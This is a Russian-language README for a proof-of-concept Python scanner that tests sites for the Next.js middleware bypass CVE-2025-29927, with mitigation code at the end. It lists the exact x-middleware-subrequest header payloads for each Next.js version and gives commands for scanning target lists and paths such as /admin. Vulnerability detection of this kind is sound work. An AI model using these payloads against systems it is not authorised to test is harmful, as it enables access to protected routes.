
Автоматизированный PoC-сканер для уязвимости обхода middleware CVE-2025-29927 в Next.js. Тестирует множественные x-middleware-subrequest полезные нагрузки по целевым URL с параллельным сканированием и экспортом в JSON.
Надёжный инструмент для доказательства концепции (PoC) для обнаружения уязвимости middleware Next.js (CVE-2025-29927).
Этот инструмент проверяет критическую уязвимость в приложениях Next.js, где заголовок x-middleware-subrequest может быть использован для обхода проверок безопасности, реализованных в middleware. Эксплойт заключается в отправке HTTP-запросов с определёнными вредоносными заголовками, которые различаются в зависимости от версии Next.js.
Согласно исследованиям, существуют разные полезные нагрузки для разных версий Next.js:
Версии до 12.2:
x-middleware-subrequest: pages/_middleware
Версии начиная с 12.2:
x-middleware-subrequest: middleware
или
x-middleware-subrequest: src/middleware
(если приложение использует директорию src)
Более новые версии (например, 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
или
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Наша PoC автоматически тестирует все эти полезные нагрузки и сообщает, какая из них оказалась успешной.
# Клонируйте репозиторий или скачайте файлы
# Перейдите в директорию
cd poc-nextjs-2025
# Установите необходимые пакеты
pip install -r requirements.txt
python main.py -u https://example.com # Проверить один URL
python main.py -f targets.txt # Проверить несколько URL из файла
# Базовое сканирование одной цели
python main.py -u https://example.com
# Сканирование нескольких целей с пользовательскими путями
python main.py -f targets.txt -p /api/users,/admin,/dashboard
# Сканирование с большим количеством потоков и более длительным тайм-аутом
python main.py -u https://example.com -t 10 --timeout 15
# Сохранение результатов в файл JSON
python main.py -u https://example.com -o scan_results.json
Сканер работает следующим образом:
x-middleware-subrequest в соответствии с версиями Next.jsЕсли вы обнаружите уязвимые приложения, примените следующие меры защиты:
x-middleware-subrequestexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| Опция | Описание |
|---|
-u, --url URL | Целевой URL для сканирования |
-f, --file FILE | Файл, содержащий несколько URL для сканирования (по одному на строку) |
-p, --paths PATHS | Список путей для тестирования через запятую (по умолчанию: общие пути) |
-t, --threads N | Количество конкурентных потоков (по умолчанию: 5) |
-o, --output FILE | Сохранить результаты в файл JSON |
--timeout N | Тайм-аут запроса в секундах (по умолчанию: 10) |